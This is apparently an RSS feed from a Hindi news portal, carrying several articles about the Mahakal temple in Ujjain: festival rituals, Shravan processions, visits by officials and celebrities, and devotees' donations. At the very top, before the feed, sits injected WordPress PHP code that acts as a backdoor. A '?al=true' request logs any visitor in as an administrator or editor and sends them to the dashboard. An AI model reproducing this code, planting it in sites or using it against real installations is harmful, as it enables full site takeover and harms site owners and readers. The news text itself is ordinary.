// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Baba Mahakal – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 19 Oct 2025 09:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 दिवाली से बदलेगी बाबा महाकाल की सेवा-विधि, अब 4 महीने तक होगा गर्म जल से अभिषेक https://pratyushaashakinayikiran.com/?p=186528 Sun, 19 Oct 2025 09:36:00 +0000 https://pratyushaashakinayikiran.com/?p=186528 उज्जैन 

धर्म नगरी उज्जैन स्थित विश्व प्रसिद्ध ज्योतिर्लिंग बाबा महाकाल का मंदिर अपनी अनोखी परंपराओं के लिए पूरे देश में जाना जाता है। यहां हर त्योहार सबसे पहले और विशेष उत्साह के साथ मनाया जाता है। इस वर्ष भी तिथियों के घटने-बढ़ने के कारण 20 अक्टूबर, सोमवार को सुबह के समय रूप चौदस मनाई जाएगी।

20 अक्टूबर की शाम को दीपावली का महापर्व मनाया जाएगा। इस खास अवसर पर बाबा महाकाल की पूरी दिनचर्या बदल जाएगी, जो लगभग चार महीने तक जारी रहेगी। रूप चौदस के साथ ही महाकाल को ठंड से बचाने के लिए गर्म जल से स्नान कराने की परंपरा शुरू हो जाएगी, जो महाशिवरात्रि तक चलेगी।

पुजारी परिवार की महिलाएं करेंगी विशेष श्रृंगार

रूप चौदस के दिन बाबा महाकाल का विशेष श्रृंगार होता है। इसमें केवल पुजारी परिवार की महिलाएं ही शामिल होती हैं। यह साल में एकमात्र ऐसा अवसर होता है जब महिलाएं बाबा महाकाल का रूप निखारती हैं।

    उबटन सामग्री: 

    पुजारी महेश शर्मा के मुताबिक, पुजारी परिवार की महिलाओं द्वारा भगवान महाकाल को केसर, चंदन, इत्र, खस और सफेद तिल से तैयार किया गया विशेष सुगंधित उबटन लगाया जाएगा।

    पूजन विधि: 

    उबटन लगाने के बाद भगवान को पंचामृत पूजन अर्पित किया जाएगा। इसके बाद विशेष कर्पूर आरती संपन्न की जाएगी, जिसे सिर्फ महिलाएं ही करती हैं।

    दीपावली की शुरुआत: 

    रूप निखारने के बाद गर्भगृह में पंडित-पुजारी द्वारा परंपरा के मुताबिक एक फुलझड़ी जलाई जाएगी। उसके साथ ही दीपावली उत्सव की विधिवत शुरुआत हो जाएगी।

महाशिवरात्रि तक गर्म जल की परंपरा

महाकाल मंदिर के पुजारी महेश गुरु ने बताया कि कार्तिक मास की चौदस यानी रूप चौदस से ही ठंड का आगमन माना जाता है। इसलिए, प्रकृति के अनुरूप बाबा महाकाल की सेवा की जाती है।

अब ठंड के इन दिनों में बाबा को हर रोज भस्म आरती के समय गर्म जल से ही स्नान कराया जाएगा। यह प्रक्रिया निरंतर महाशिवरात्रि तक जारी रहेगी।

यह परंपरा भक्तों को यह संदेश देती है कि जिस तरह हम बदलते मौसम में अपनी देखभाल करते हैं, उसी तरह हमारे देव भी प्राकृतिक नियमों से बंधे हैं।

अन्नकूट भोग और मंदिर की भव्य सज्जा

दीपावली पर्व पर बाबा महाकाल को अन्नकूट का विशेष भोग भी लगाया जाएगा।

    अन्नकूट व्यंजन:

    भगवान महाकाल, जिन्हें मृत्युलोक का राजा माना जाता है उनकी भोग की थाली में धान, खाजा, शक्करपारे, गूंजे, पपड़ी, मिठाई और विशेष रूप से मूली और बैंगन की सब्जी भी अर्पित की जाती है।

    फूलों से सज्जा: 

    दिवाली 2025 के अवसर पर महाकाल मंदिर को रंग-बिरंगी विद्युत रोशनी, फूलों और भव्य रंगोली से सजाया जाता है। गर्भ गृह और पूरा मंदिर परिसर देश-विदेश के फूलों से महकेगा। थाईलैंड, बैंकॉक और मलेशिया के साथ-साथ भारत के बेंगलुरु, कोलकाता, दिल्ली और मुंबई से लाए गए एंथोरियम, लिली, कॉर्निशन, सेवंती और डेजी जैसे फूलों से बाबा महाकाल का आंगन सजाया जाता है।

    पटाखों पर प्रतिबंध: 

    बता दें कि उज्जैन के बाबा महाकाल मंदिर की परंपरा के मुताबिक, आरती और पूजन के समय केवल एक फुलझड़ी जलाई जाती है। इसके अलावा, गर्भगृह, कोटितीर्थ कुण्ड और महाकाल महालोक क्षेत्र में किसी भी प्रकार की आतिशबाजी या पटाखों का प्रयोग पूरी तरह से प्रतिबंधित किया गया है। ये सुरक्षा और पवित्रता की दृष्टि से जरूरी है।

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श्रावण माह के दूसरे सोमवार को बाबा महाकाल नगर भ्रमण पर, 7 राज्यों के लोकनृत्य कलाकार सवारी मार्ग में प्रस्तुति देंगे https://pratyushaashakinayikiran.com/?p=172241 Mon, 21 Jul 2025 08:39:00 +0000 https://pratyushaashakinayikiran.com/?p=172241 उज्जैन
 12 ज्योतिर्लिंगों में से एक दक्षिणमुखी भगवान महाकालेश्वर श्रावण महीने के दूसरे सोमवार 21 जुलाई को हाथी पर मनमहेश स्वरूप में व रजत पालकी में चंद्रमौलेश्वर स्वरूप में नगर भ्रमण पर मंदिर से शाम 04 बजे निकलेंगे. खास बात ये है बाबा की सवारी में 7 राज्यों के लोकनृत्य कलाकार सांस्कृतिक प्रस्तुति देंगे. मुख्यमंत्री डॉ. मोहन यादव बाबा महाकाल का मंदिर के सभामंडप में पूजन अर्चन करेंगे. बता दें कि कुल 6 सवारी श्रावण और भाद्रपद में निकलना है. सभी की अलग-अलग थीम है.

रोजाना एक लाख भक्त आ रहे हैं दर्शन करने

महाकाल की नगरी में भक्तिमय माहौल है. एक ओर कांवड़िए बोल बम के जयकारे लगाते हुए नगरी में प्रवेश कर रहे हैं तो रोजाना 1 लाख से अधिक भक्त बाबा के दर्शन कर रहे हैं. मंदिर के लड्डू प्रसादी की बिक्री में भी बढ़ोतरी हुई है. पहले सोमवार को ढाई लाख से अधिक भक्तों ने बाबा के दर्शन किए थे. इसके अलावा सवारी मार्ग में लाखों की संख्या अलग थी. सावन के दूसरे सोमवार को लोगों की आस्था देखते हुए ये रिकॉर्ड टूट सकता है.

सवारी का वैभव बढ़ाते है ये खास दृश्य

महाकाल मंदिर के प्रशासक प्रथम कौशिक के अनुसार "बाबा महाकाल की सवारी में सबसे आगे विशाल भगवा ध्वज और शंखनाद होगा. भगवान मनमहेश हाथी पर तो भगवान चंदमौलेश्वर रजत पालकी में सवार होंगे. कहार बाबा की पालकी उठाएंगे. मंदिर के मुख्य द्वार पर होमगार्ड पुलिस के जवान गार्ड ऑफ ऑनर देंगे. घुड़सवार, कड़ा बिन(तोप), पुलिस बैंड व प्राचीन परंपरा अनुसार बाबा के आगे उद्घोष करता सेवक. 9 भजन मंडली, झांझ डमरू दल, 7 राज्यों के लोकनृत्य कलाकार व अन्य सवारी का वैभव बढ़ाएंगे. पूरे मार्ग में फूलों की वर्षा होगी. रंगोली बनाते कलाकार होंगे."

ये है नगर भ्रमण का परंपरागत मार्ग

बाबा महाकाल की सवारी मंदिर से महाकाल चौराहा, गुदरी चौराहा, बक्षी बाजार, कहारवाडी से होती हुई रामघाट पहुंचेगी. जहां मां शिप्रा नदी के जल से भगवान का अभिषेक होगा. आरती पूजन के बाद सवारी रामानुजकोट, मोढ की धर्मशाला, कार्तिक चौक खाती का मंदिर, सत्यीनारायण मंदिर, ढाबा रोड, टंकी चौराहा, छत्री चौक, गोपाल मंदिर, पटनी बाजार और गुदरी बाजार से होती हुई महाकालेश्वर मंदिर लौटेगी.

भक्तों को रथ पर लगी LED में होंगे लाइव दर्शन

महाकालेश्वर भगवान की सवारी में बड़ी संख्या में आने वाले भक्तों में कई भक्त बाबा को नजदीक से भीड़ के कारण देख नहीं पाते, ऐसे श्रद्धलुओं के लिए मंदिर समिति ने अपने सोशल मीडिया एकाउंट पर लाइव व सवारी के दौरान चलित रथ में एलईडी के माध्यम से भगवान के दर्शन की व्यवस्था रहेगी.

मंदिर प्रबंध समिति ने किया भक्तों से आग्रह

मंदिर समिति, जिला व पुलिस प्रशासन ने सवारी के दौरान श्रद्धालुओं से अपील की है कि उल्टी दिशा में न चलें, सवारी निकलने तक अपने स्थान पर खड़े रहें. दर्शनार्थी कृपया गलियों में वाहन खड़े न रखें. श्रद्धालु सवारी के दौरान सिक्के, नारियल, केले, फल आदि न फेंके. सवारी के बीच में प्रसाद और चित्र वितरण न करें. इसके अलावा पालकी के आसपास अनावश्यक संख्या में लोग न रहें. सवारी मार्ग में सड़क की ओर व्यापारीगण भट्टी चालू न रखें और न ही तेल का कड़ाव रखें. बिजली के खंभे से दूर रहें व प्राशासनिक व्यवस्था में सहयोग करें.

जानिए कब कौन सी थीम पर बाबा की सवारी

पहले सोमवार में 500 बटुकों का शिप्रा नदी किनारे वैदिक उद्घोष हुआ. दूसरे सोमवार को 7 राज्यों के लोक नृत्य कलाकारों की प्रस्तुतियां. उड़ीसा का जोड़ी शंख, छत्तीसगढ़ का पंथी लोक नृत्य, महाराष्ट्र के नासिक का सोंगी मुखोटा, गुजरात के राठवा आदिवासी जनजातीय होली नृत्य, मध्यप्रदेश के छतरपुर का बरेदी लोक नृत्य, हरियाणा का हरियाणवी घूमर, मध्यप्रदेश के धार का भील जनजातीय नृत्य, राजस्थान का गैर घुमरा जनजातीय नृत्य.

पुलिस व आर्मी बैंड देंगे आकर्षक प्रस्तुति

तीसरे सोमवार को पुलिस बैंड, आर्मी बैंड, होमगार्ड बैंड और निजी स्कूलों के बैंड के द्वारा आकर्षक प्रस्तुति दी जाएंगी. चौथे सोमवार को पर्यटन की थीम पर मांडू के महल, सांची के स्तूप, खजुराहो के शिव मंदिर, देवी अहिल्या किला महेश्वर, भीमबेटका, ग्वालियर का किला, उदयगिरि की गुफाएं, विदिशा बाग की गुफाएं, धार की झांकियां निकाली जाएंगी. पांचवें सोमवार को सवारी में धार्मिक थीम रहेगी, जिसमें कृष्ण पाथेय और प्रदेश के धार्मिक पर्यटन स्थलों व मंदिरों की झांकी निकाली जाएंगी. छठे सोमवार को 70 से अधिक भजन मंडलियों द्वारा प्रस्तुति दी जाएंगी.

इस प्रकार होता है श्रावण महोत्सव का आयोजन

प्रत्येक वर्ष अनुसार श्रावण महोत्सव हर शनिवार शाम मंदिर के समीप ही 07 बजे से त्रिवेणी कला एवं पुरातत्व संग्रहालय के सभा कक्ष में आयोजित किया जा रहा है. ये आयोजन 13 जुलाई से शुरू हुए जो 16 अगस्त तक 23 दिन तक (श्रावण महोत्सव शनिवार के दिन, सवारी सोमवार के दिन, नाग पंचमी 29 जुलाई और 15 अगस्त का दिन छोड़कर) महाकालेश्वर सांस्कृतिक संध्या नाम से सांस्कृतिक कार्यक्रमों का आयोजन किया जा रहा है. इनकी प्रस्तुति महाकाल महालोक परिसर में सप्त ऋषियों की मूर्ति के पास शाम को 6 बजे से 8 बजे तक दी जा रही है, इसमें देशभर से 47 कलाकार समूह प्रस्तुति दे रहे हैं.

कब-कब निकलेगी बाबा महाकाल की सवारी

पहली सवारी 14 जुलाई, दूसरी सवारी 21 जुलाई, तीसरी सवारी 28 जुलाई, चौथी सवारी 4 अगस्त, पांचवीं सवारी 11 अगस्त और राजसी सवारी 18 अगस्त को निकाली जाएगी.

   हर सवारी में कैसा रहेगा बाबा महाकाल का स्वरूप

पहली सवारी में भगवान मनमहेश, दूसरी में चंद्रमौलेश्वर और हाथी पर मनमहेश, तीसरी में चंद्रमौलेश्वर, हाथी पर मनमहेश, गरुड़ रथ पर शिव तांडव, चौथी सवारी में चंद्रमौलेश्वर, हाथी पर मनमहेश, गरुड़ रथ पर शिव तांडव और नंदी रथ पर उमा महेश, पांचवीं सवारी में चंद्रमौलेश्वर, हाथी पर मनमहेश, गरुड़ रथ पर शिव तांडव नंदी रथ पर उमा महेश और रथ पर होलकर स्टेट और राजसी सवारी में पालकी में चंद्रमोलेश्वर हाथी पर मन महेश, गरुड़ रथ पर शिव तांडव नंदी रथ पर उमा महेश, रथ पर होलकर स्टेट और रथ पर सप्तधान मुखारविंद के रूप में भगवान विराजित होंगे.

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रेमो डिसूजा पहुंचे उज्जैन, भस्म आरती में हुए शामिल, महाकाल का लिया आशीर्वाद https://pratyushaashakinayikiran.com/?p=138571 Mon, 10 Mar 2025 15:06:00 +0000 https://pratyushaashakinayikiran.com/?p=138571 उज्जैन

कोरियोग्राफर, फिल्म निर्देशक और निर्माता रिमो डिसूजा सोमवार को बाबा महाकाल के दरबार में भस्म आरती के दर्शन करने पहुंचे। जहां उन्होंने भारतीय पोशाक पहनकर बाबा महाकाल की भस्म आरती देखी और दो घंटे की भस्म आरती के दौरान बाबा महाकाल की भक्ति में लीन रहने के साथ ही जय महाकाल का उद्घोष करते हुए भी दिखाई दिए।

महाकालेश्वर मंदिर के पुजारी पंडित यश गुरु ने बताया कि रेमो डिसूजा एक भारतीय कोरियोग्राफर, फिल्म निर्देशक और निर्माता हैं। वे अब तक 100 से अधिक फिल्मों में कोरियोग्राफी कर चुके हैं। उन्हें बॉलीवुड उद्योग में सबसे सफल और प्रसिद्ध कोरियोग्राफर माना जाता है और उन्होंने कई भारतीय कोरियोग्राफरों के लिए एक रोल मॉडल के रूप में काम किया है। इसके अतिरिक्त, वह लगातार सात सीज़न के लिए डांस रियलिटी शो डांस प्लस में जज रह चुके हैं।

सुबह बाबा महाकाल की भस्म आरती देखने के लिए मंदिर पहुंचे थे। जहां उन्होंने सोला और दुपट्टा डालकर नंदी हॉल में प्रवेश किया और यहां पर बाबा महाकाल की जय जयकार करने के साथ बाबा महाकाल के निराकार से साकार स्वरूप के दर्शन करते रहे भस्म आरती के दौरान आपने कभी तालियां बजाई तो कभी एक टक बाबा महाकाल के स्वरूप के दर्शन किए।

इस दौरान पूजन अर्चन पंडित यश गुरु के द्वारा करवाया गया। बाबा महाकाल की पूजा अर्चना और दर्शन करने के बाद रेमो डिसूजा ने मीडिया से चर्चा करते हुए कहा कि मैं बाबा महाकाल का अनन्य भक्त हूं, जो की समय-समय पर महाकाल मंदिर आते ही रहता हूं। आपने महाकालेश्वर मंदिर के दर्शन व्यवस्था की जमकर तारीफ करते हुए कहा कि महाकालेश्वर मंदिर की दर्शन व्यवस्था काफी अच्छी है। अन्य मंदिरों में भी इसी मंदिर की तरह दर्शन व्यवस्था होना चाहिए। अच्छे से दर्शन करवाने के लिए मंदिर के पुजारी और श्री महाकालेश्वर प्रबंध समिति को धन्यवाद भी दिया।

अगस्त 2024 में भी महाकाल आए थे रेमो
इसके पहले अगस्त 2024 को रेमो डिसूजा सपरिवार बाबा महाकाल के दर्शन करने पहुंचे थे। अलसुबह होने वाली भस्म आरती में सभी नंदी हाल में करीब दो घंटे तक बैठकर भगवान की आरती में शामिल हुए थे। बता दें, रेमो पत्नी और बच्चों के साथ दर्शन करने पहुंचे थे। भस्म आरती के बाद रेमो डिसूजा ने यह भी कहा था कि मैंने यहां एक अलग ही अनुभव महसूस किया है। भस्म आरती मैंने पहली बार देखी है, महाकाल के दर्शन इस तरह से भव्य स्वरूप में होंगे कभी सोचा नहीं था।

 

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बाबा महाकाल को छत्तीसगढ़ के भक्त ने भेंट की चमचमाती चांदी की पालकी https://pratyushaashakinayikiran.com/?p=102587 Mon, 25 Nov 2024 10:35:00 +0000 https://pratyushaashakinayikiran.com/?p=102587 उज्जैन
बाबा महाकाल के दरबार में छत्तीसगढ़ के एक शख्स ने रजत पालकी भेंट की। इसकी कीमत करीब 22 लाख रुपए बताई जा रही है। हालांकि, इसे दान करने वाले भक्त ने अपना नाम गुप्त रखा है।

100 दिन में बनकर तैयार हुई पालकी
जानकारी के मुताबिक, छत्तीसगढ़ के भिलाई के एक भक्त ने गुप्त दान में बाबा महाकाल को चांदी की पालकी भेंट की। धर्मास्त्र पुजारी भावेश व्यास, लोकेंद्र व्यास की प्रेरणा से लगभग 100 दिनों में यह पालकी लगभग 20 किलो 600 ग्राम तैयार हुई है। पालकी पूजन में मंदिर समिति के सहायक प्रशासक प्रतीक द्विवेदी, राम जी पुजारी समिति सदस्य रामनाथ जी महाराज भरतरीगुफा, प्रशांत त्रिपाठी विशेष सबसे उपस्थित थे।
 
सुंदर तरीके से तैयारी की गई पालकी
पुजारी भावेश व्यास ने बताया कि आज मार्गशीष मास की कृष्ण पक्ष की नवमी तिथि को छत्तीसगढ़ के भिलाई से आए जजमान ने महाकालेश्वर मंदिर समिति को रजत पालकी दान की है। उनकी काफी समय से इच्छा थी कि बाबा महाकाल को कुछ भेंट की जाए। भगवान महाकाल की पालकी बहुत सुंदर तरीके से तैयार की गई है।

रजत पालकी में क्या है खास?
पुजारी ने आगे बताया कि पालकी में भगवान को सूर्य मंडित किया गया है। स्वस्तिक अर्पित किया गया है। आगे के भाग में 2 सिंह का अनावरण किया गया है। कमल पुष्प से पालकी को सजाया गया है। इसे उज्जैन में बनवाया गया है।

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बाबा महाकाल के मंदिर में भस्म आरती में अमेरिकन डॉलर की माला चढ़ाई, भक्त ने किया गुप्त दान https://pratyushaashakinayikiran.com/?p=99673 Sun, 17 Nov 2024 09:26:00 +0000 https://pratyushaashakinayikiran.com/?p=99673 उज्जैन

उज्जैन के विश्व प्रसिद्ध श्री महाकालेश्वर मंदिर में देश भर आने वाले भक्त सोना चांदी नगदी दान करते हैं. लेकिन पहली बार किसी भक्त ने बाबा महाकाल को भस्म आरती में अमेरिकन डॉलर से बनाई माला भेंट की. जिसे देख मंदिर प्रशासन भी सकते में रह गया. हालांकि यह पता नहीं चला कि माला में कितने डॉलर लगे हैं.

12 ज्योतिर्लिंग में एक महाकालेश्वर मंदिर की भस्मआरती दर्शन का विशेष महत्व माना जाता है. यही वजह है कि इनके दर्शन के लिए देशभर से आम लोगों के साथ ही पॉलीटिशियन, क्रिकेट खिलाड़ी, बॉलीवुड स्टार और उद्योगपति आते रहते हैं. इन भक्तों में कोई सोने चांदी के गहने बाबा महाकाल को अर्पित करता करता है तो कोई बड़ी राशि दान करता है.

लेकिन शनिवार तड़के भस्म आरती में किसी भक्त ने अमेरिकन डॉलर से बनी तीन फीट की माला भगवान महाकाल को भेंट कर दी. माला में 200 से अधिक अमेरिकन डॉलर लगे हुए हैं. जिसके बीच जय श्री महाकाल लिखा हुआ है.

दान पेटी में डाली डॉलर की माला

महाकाल मंदिर प्रशासक गणेश धाकड़ के अनुसार भगवान महाकाल के दरबार में बड़ी संख्या में आने वाले भक्त भगवान को भेंट स्वरूप कुछ ना कुछ दान करके जाते हैं. आज सुबह  हुई भस्म आरती में एक भक्त ने माला अर्पित करने के लिए दी थी. भक्त ने गुप्त दान किया इसलिए उनका नाम पता चल पाया. माला में कितने डॉलर लगे हैं इसकी भी जानकारी नहीं है. माला दान पेटी में डाल दी. अब पेटी खुलने पर पता चलेगा कि माला में कितने डॉलर लगे हैं.

 

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उज्जैन ज्योतिर्लिंग महाकाल मंदिर में भक्तों को दूर से ही भगवान महाकाल के दर्शन सुलभ होंगे https://pratyushaashakinayikiran.com/?p=90092 Sat, 26 Oct 2024 11:36:00 +0000 https://pratyushaashakinayikiran.com/?p=90092 उज्जैन

मध्य प्रदेश के उज्जैन स्थित ज्योतिर्लिंग महाकाल मंदिर में भक्तों को दूर से ही भगवान महाकाल के दर्शन सुलभ होंगे। श्री महाकाल महालोक बनने के बाद बढ़ती जा रही दर्शनार्थियों की संख्या के कारण फिलहाल मंदिर समिति की गर्भगृह में प्रवेश शुरू करने की कोई योजना नहीं है।

उज्जैन के कलेक्टर नीरज कुमार सिंह ने बताया कि जब से महाकाल महालोक की स्थापना हुई है, तभी से वहां श्रद्धालुओं की संख्या ने नित नए कीर्तिमान गढ़ना शुरू कर दिए हैं। प्रतिदिन करीब एक लाख भक्त रोज भगवान महाकाल के दर्शन करने मंदिर पहुंचते हैं।

शनिवार, रविवार और सोमवार को सप्ताह के तीन दिन दर्शनार्थियों की संख्या दो से ढाई लाख रहती है। महाशिवरात्रि, नागपंचमी जैसे महापर्वों पर पांच से सात लाख भक्त मंदिर पहुंचते हैं। इतनी बड़ी तादाद में भक्तों को गर्भगृह में प्रवेश देना संभव नहीं है।

… इसलिए भी गर्भगृह में प्रवेश की फिलहाल योजना नहीं

    अगर सशुल्क रसीद के आधार पर समिति संख्या में भी भक्तों को गर्भगृह में प्रवेश दिया जाता है, तो श्रद्धालुओं के गर्भगृह में प्रवेश करने तथा बाहर निकलते समय दर्शन बाधित होते हैं।

    इससे नंदी, गणेश व कार्तिकेय मंडपम से दर्शन करने वाले श्रद्धालुओं को खासी परेशानी होती है। दर्शन में देरी का असर यह होता है कि नंदी हाल में भीड़ जमा हो जाती है।

    यही कारण है कि सुगम दर्शन की व्यवस्था के लिए फिलहाल गर्भगृह में प्रवेश की कोई योजना नहीं है। सभी भक्तों को दूर से ही भगवान के दर्शन सुलभ होंगे। इस तरह भक्त कुछ पल नंदी हाल में बीता सकते हैं।

प्रोटोकॉल के तहत गर्भगृह में प्रवेश

कलेक्टर ने बताया कि राष्ट्रपति, प्रधानमंत्री, राज्यपाल, मुख्यमंत्री जैसे अतिविशिष्ट एवं बड़े संतों को गर्भगृह में प्रवेश की अनुमति दी जाती है। अपवाद स्वरूप कुछ वीआईपी एकाएक गर्भगृह में चले जाते हैं, तो प्रोटोकॉल कर्मचारियों पर कार्रवाई भी होती है।
ऑस्ट्रेलिया के भक्त ने भेंट की व्हीलचेयर

मेलबोर्न (ऑस्ट्रेलिया) से शुक्रवार को महाकाल दर्शन करने आए सतीश गोसाईं ने दिव्यांग दर्शनार्थियों की सुविधा के लिए ग्यारह व्हीलचेयर भेंट की है। सहायक प्रशासनिक अधिकारी आरके तिवारी ने बताया कि दर्शनार्थी मंदिर की व्यवस्था को देखकर प्रभावित हुए, उन्होंने महाकाल महालोक का भ्रमण भी किया।

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बाबा महाकाल मानव समाज का संरक्षण कर उत्साह बढ़ाते हैं: मुख्यमंत्री डॉ. यादव https://pratyushaashakinayikiran.com/?p=65336 Mon, 02 Sep 2024 18:06:00 +0000 https://pratyushaashakinayikiran.com/?p=65336 बाबा महाकाल मानव समाज का संरक्षण कर उत्साह बढ़ाते हैं: मुख्यमंत्री डॉ. यादव

मात्र सवारी न होकर बाबा महाकाल का जनता के साथ सीधा सरोकार है : मुख्यमंत्री डॉ. यादव

मुख्यमंत्री डॉ. यादव ने राजसी सवारी में शामिल होने वाले नागरिकों का किया स्वागत

भोपाल

मुख्यमंत्री डॉ. मोहन यादव ने आज उज्जैन में बाबा महाकाल की आखिरी राजसी सवारी के अवसर पर अपने संदेश में कहा कि यह मात्र सवारी न होकर बाबा महाकाल का जनता के साथ सीधा सरोकार है। भगवान दर्शन देते हुए अपनी लौकिक दुनिया को अपनी निगाह से देखना चाहते हैं। मनुष्य भी इस अवसर की प्रतिक्षा करते हैं। कालों के काल महाकाल इस दुनिया में सदैव हमारा उत्साह बढ़ाते हैं। सभी का संरक्षण करते हैं। जीवन की ललक जगाते हैं। महाकाल की छबि देवों के देव के रूप में है। बाबा महाकाल एक विलक्षण देव हैं। गरीब से गरीब आदमी के जीवन में वे आशा, अपेक्षा और उत्साह का रंग घोलते हैं।

मुख्यमंत्री डॉ. यादव ने सवारी में शामिल हुए नागरिकों का स्वागत करते हुए कहा कि बाबा महाकाल की सवारी की विशेषता है कि पूरे सावन में आयोजन होते हैं। पूर्णिमा से पूर्णिमा तक सभी सावन और भादो मास में दो सवारी अमावस्या से अमावस्या तक निकलती है। इस तरह उत्तर भारत और दक्षिण भारत की परम्पराओं के साथ पूर्व और पश्चिम सभी दिशाओं को शामिल करते हुए बाबा कृपा बरसाते हैं।

प्रति सोमवार सवारी में जुड़े अनेक आकर्षण

मुख्यमंत्री डॉ. यादव ने कहा कि इस वर्ष बाबा महाकाल की सवारी में अनेक आकर्षण जोड़े गए, जिससे सभी को आनंद आया। प्रदेश के अनुसूचित जाति और जनजाति वर्ग के प्रतिनिधि और श्रद्धालुजन भी अपनी लोक कलाओं के प्रदर्शन के साथ सवारियों में शामिल हुए। हमारे लिए बाबा महाकाल समग्र रूप से पूरे प्रदेश के लिए विशेषकर बड़ा देव के नाते से जनजातीय क्षेत्र में भी अत्यंत श्रद्धा से जाने जाते हैं। जनजातीय संस्कृति से अन्य लोग भी परिचित हों, इसलिए उन्हें सवारी में शामिल किया गया। सवारी में पहली बार पुलिस बैंड की आकर्षक प्रस्तुति भी शामिल की गई। साथ ही अन्य विभागों की सहभागिता भी रही। इस वर्ष आखिरी सवारी में पुष्प-वर्षा की व्यवस्था की गई। इन सभी प्रयासों और नवाचारों से महाकाल की सवारी की आभा एवं गौरव में वृद्धि हुई है।

 

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बाबा महाकाल के दर्शन कर मंत्री टेटवाल ने लिया आशीर्वाद https://pratyushaashakinayikiran.com/?p=62819 Thu, 22 Aug 2024 10:56:00 +0000 https://pratyushaashakinayikiran.com/?p=62819 बाबा महाकाल के दर्शन कर मंत्री टेटवाल ने लिया आशीर्वाद

गोगादेव जी महाराज की छड़ी यात्रा में हुए शामिल

भोपाल
कौशल विकास एवं रोजगार राज्य मंत्री (स्वतंत्र प्रभार) तथा उज्जैन के प्रभारी मंत्री गौतम टेटवाल ने महाकालेश्वर मंदिर पहुँचकर बाबा महाकाल के दर्शन कर आशीर्वाद लिया और प्रदेशवासियों के कल्याण के लिये मंगलकामना की। मंत्री टेटवाल विगत दिवस राज्यसभा सांसद बालयोगी उमेशनाथ जी महाराज एवं भर्तृहरि गुफा के पीठाधीश्वर योगी रामनाथ जी महाराज के साथ गोगादेव जी महाराज की छड़ी यात्रा में सम्मिलित हुए।

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मुख्यमंत्री डॉ. मोहन यादव ने की बाबा महाकाल की पूजा, छत्तीसगढ़ के मुख्यमंत्री विष्णु देव साय भी पहुंचे https://pratyushaashakinayikiran.com/?p=62054 Mon, 19 Aug 2024 16:55:00 +0000 https://pratyushaashakinayikiran.com/?p=62054 उज्जैन.

आज सावन के 5वें और अंतिम सोमवार पर देशभर में रक्षाबंधन का त्योहार भी मनाया जा रहा है। उज्जैन में महाकाल को भस्म आरती के समय पंडे-पुजारियों के परिवार की ओर से राखी अर्पित की गई। शाम 4 बजे सावन माह की अंतिम सवारी निकाली जा रही है। महाकाल होलकर मुखारविंद स्वरूप में प्रजा का हाल जानने निकले।

मुख्यमंत्री डॉ. मोहन यादव ने भी बाबा महाकाल की पूजा की। इस बार सवारी में सीआरपीएफ बैंड भी साथ-साथ चलेगा। इस बार यह खास संयोग रहा कि सावन महीने की शुरुआत सोमवार से हुई और इसका समापन भी आज सोमवार से हो रहा है। खंडवा के ओंकारेश्वर, सीहोर के कुबेरेश्वर धाम, छिंदवाड़ा के पातालेश्वर और ग्वालियर के अचलेश्वर मंदिर में भी भगवान भोले का पूजन-अर्चन किया जा रहा है। छत्तीसगढ़ के मुख्यमंत्री विष्णु देव साय भगवान महाकाल के दर्शन के लिए परिवार के साथ उज्जैन पहुंचे। सावन के अंतिम सोमवार के अवसर पर उन्होंने महाकाल का विशेष पूजन-अभिषेक किया।
एमपी के उपमुख्यमंत्री जगदीश देवड़ा सावन के अंतिम सोमवार मंदसौर के पशुपतिनाथ मंदिर पहुंचे। यहां उन्होंने परिवार के साथ भगवान भोलेनाथ की विशेष पूजा अर्चना की। इसके बाद निकली शाही सवारी में उन्होंने तलवारबाजी का भी प्रदर्शन किया।

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बाबा महाकाल को रक्षाबंधन पर लगने वाले सवा लाख लड्डुओं का निर्माण शुरू, कलेक्टर ने किया भट्टी पूजन https://pratyushaashakinayikiran.com/?p=60425 Wed, 14 Aug 2024 15:16:00 +0000 https://pratyushaashakinayikiran.com/?p=60425 उज्जैन

श्री महाकालेश्वर मंदिर प्रबंध समिति के अध्यक्ष एवं कलेक्टर नीरज कुमार सिंह द्वारा आज प्रातः 8 बजे भट्टी पूजन कर भोग बनाने का शुभारंभ किया गया। श्री महाकालेश्वर मंदिर के पुजारी आशीष शर्मा ने बताया कि परंपरा अनुसार यह भोग भस्म आरती पुजारी के माध्यम से भगवान श्री महाकालेश्वर को अर्पित किया जाता है।

इसके पश्चात यह भोग मंदिर में श्री महाकालेश्वर भगवान जी के दर्शन हेतु आने वाले भक्तों में वितरित किया जाता है। इस वर्ष श्री महाकालेश्वर भगवान को शासकीय पुजारी घनश्याम शर्मा, संजय शर्मा, विकास शर्मा, मनोज शर्मा व समस्त जनेऊ पाती पुजारी परिवार के माध्यम से सवा लाख लड्डुओं का भोग अर्पित किया जा रहा है।

भगवान का सोने चांदी के आभूषण से होगा श्रृंगार

बता दें कि महाकाल मंदिर में इस पर्व को खास बनाने के लिए विशेष तैयारी की जा रही है। पुजारी परिवार की महिलाओं भगवान महाकाल को बांधने के लिए विशेष राखी तैयार कर रही हैं। भस्म आरती में भगवान महाकालेश्‍वर का सोनेचांदी के आभूषण से श्रृंगार किया जाएगा। रक्षाबंधन के दिन रविवार-सोमवार की दरमियानी रात 2.30 बजे भस्म आरती में उत्सव मनाया जाएगा।

सवा लाख लड्डू के महाभोग का होता विशेष महत्व

पुजारी भगवान महाकाल का पंचामृत और फलों के रस से महाअभिषेक करेंगे। महाकाल के दिव्य श्रृंगार के बाद बाद पुजारी परिवार की महिलाएं भगवान महाकाल को राखी बांधेगी। श्रावणी पूर्णिमा पर सवा लाख लड्डू के महाभोग का विशेष महत्व होता है। ज्यादा से ज्यादा महाभक्त प्रसाद ग्रहण कर सकें इसलिए भगवान को सवा लाख लड्डुओं का महाभोग लगाने की परंपरा चली आ रही है।

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